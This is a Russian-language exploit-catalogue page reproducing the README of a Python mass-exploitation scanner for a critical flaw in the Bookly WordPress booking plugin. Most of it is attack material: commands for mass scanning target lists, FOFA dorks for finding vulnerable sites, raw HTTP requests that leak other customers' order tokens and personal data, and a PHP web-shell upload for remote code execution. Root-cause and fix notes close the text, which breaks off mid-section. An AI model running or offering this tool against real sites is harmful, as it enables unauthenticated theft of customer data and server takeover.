Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-93399 — Массовый сканер эксплуатации на Python для CVE-2026-93399 в WordPress-плагине Bookly: определение версии, неаутентифицированное перечисление токенов заказов через IDOR, извлечение PII и RCE через веб-шелл. | Kitploit
Инструменты/GitHubGitHub/josemour8/cve-2026-93399
РазведкаСканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхВеб-безопасностьТестирование на Проникновение
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Массовый сканер эксплуатации на Python для CVE-2026-93399 в WordPress-плагине Bookly: определение версии, неаутентифицированное перечисление токенов заказов через IDOR, извлечение PII и RCE через веб-шелл.

21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-93399

Bookly <= 28.2 IDOR без аутентификации + утечка PII + RCE

Сканер массовой эксплуатации для CVE-2026-93399 (CVSS 9.1 Critical), затрагивающей WordPress-плагин Bookly — Online Scheduling and Appointment Booking System (версии <= 28.2).

Содержание

  • Обзор
  • Цепочка уязвимостей
  • Затронутые версии
  • Требования
  • Установка
  • Использование
  • FOFA-дорки
  • Сценарий атаки
  • Формат вывода
  • Технические подробности
  • Отказ от ответственности
  • Лицензия

Обзор

Плагин Bookly для WordPress уязвим к Insecure Direct Object Reference (IDOR) через AJAX-действия bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar и bookly_rollback_order. Все действия доступны без аутентификации (_default => 'anonymous'), а защита от CSRF отключена (csrfTokenValid() возвращает true).

Обработчик bookly_get_form_id безоговорочно сохраняет контролируемые атакующим данные form_data (включая order_id) в новую сессию бронирования без какой-либо проверки. Затем обработчик bookly_render_complete доверяет этому внедрённому order_id для поиска и возврата секретного токена соответствующего заказа — что позволяет неаутентифицированным атакующим перечислять последовательные ID заказов, раскрывать токены заказов других клиентов, получать информацию о календаре и записях на приём, а также безвозвратно удалять произвольные незавершённые бронирования.

Цепочка уязвимостей

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Затронутые версии

  • Уязвимые: Bookly <= 28.2 (все версии до 28.2 включительно)
  • Исправлено в: 28.3 (добавлен белый список _prepareFormData() и санитайзер _prepareCartData())

Требования

  • Python 3.8+
  • библиотека requests
pip install requests

Установка

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Использование

Одна цель

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Массовое сканирование

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Опции

ФлагОписание
-u, --urlОдин целевой URL
-f, --fileФайл с целевыми URL (по одному в строке)
--detectТолько проверка версии (безопасно)
--enumerateIDOR: утечка токенов заказов
--piiИзвлечение PII через экспорт календаря ICS
--rceПопытка загрузки веб-шелла
--fullПолная цепочка: IDOR + PII + RCE
--start NНачальный order_id (по умолчанию: 1)
--end NКонечный order_id (по умолчанию: 50)
-th, --threads NКоличество потоков (по умолчанию: 5)
-o, --output FILEФайл вывода (по умолчанию: results.txt)
-v, --verboseПоказывать все попытки

Дорки FOFA

Поиск всех установок Bookly

body="bookly-responsive-appointment-booking-tool"

Поиск страниц Bookly с отрендеренной формой бронирования

body="BooklyL10nGlobal"

Зависит от версии (уязвимые <= 28.2)

body="bookly-main.css?ver=28.2"

Комбинированный (наивысшая достоверность)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Поиск целей с помощью дополнения Files (для RCE)

body="bookly-addon-files"

Поиск целей с настроенным полем загрузки файлов (с возможностью RCE)

body="bookly-js-upload"

Вектор атаки

Шаг 1: Внедрение order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Ответ:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Уязвимый код (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Шаг 2: Утечка токена заказа

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Ответ:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Уязвимый код (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Шаг 3: Извлечение PII через ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Ответ: ICS-файл с данными клиента:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Шаг 4: RCE (требуется дополнение Files)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Расположение шелла: /wp-content/uploads/bookly-files/shell.php

Формат вывода

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Технические подробности

Первопричина

Обработчик getFormId() сохраняет весь параметр form_data (пользовательский JSON) в базу данных сессии без какого-либо белого списка или санитизации. Это позволяет злоумышленнику внедрять произвольные ключи сессии, включая order_id.

Обработчик renderComplete() читает order_id из сессии и напрямую запрашивает таблицу Order — без проверки того, что текущая сессия создала этот заказ.

Две усугубляющие друг друга уязвимости

  1. CSRF отключён — csrfTokenValid() переопределён на return true в модуле бронирования
  2. Все действия анонимны — permissions() возвращает array('_default' => 'anonymous'), поэтому каждый обработчик регистрирует оба хука wp_ajax_ и wp_ajax_nopriv_

Исправление (28.3)

В версии 28.3 добавлен _prepareFormData() — строгий белый список, который удаляет всё, кроме настроек отображения (skip_service_step, hide_service_part1, hide_service_part2, defaults). Также добавлен _prepareCartData() для санитизации ключей элементов корзины.

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

Предварительные условия для RCE

Скачать инструмент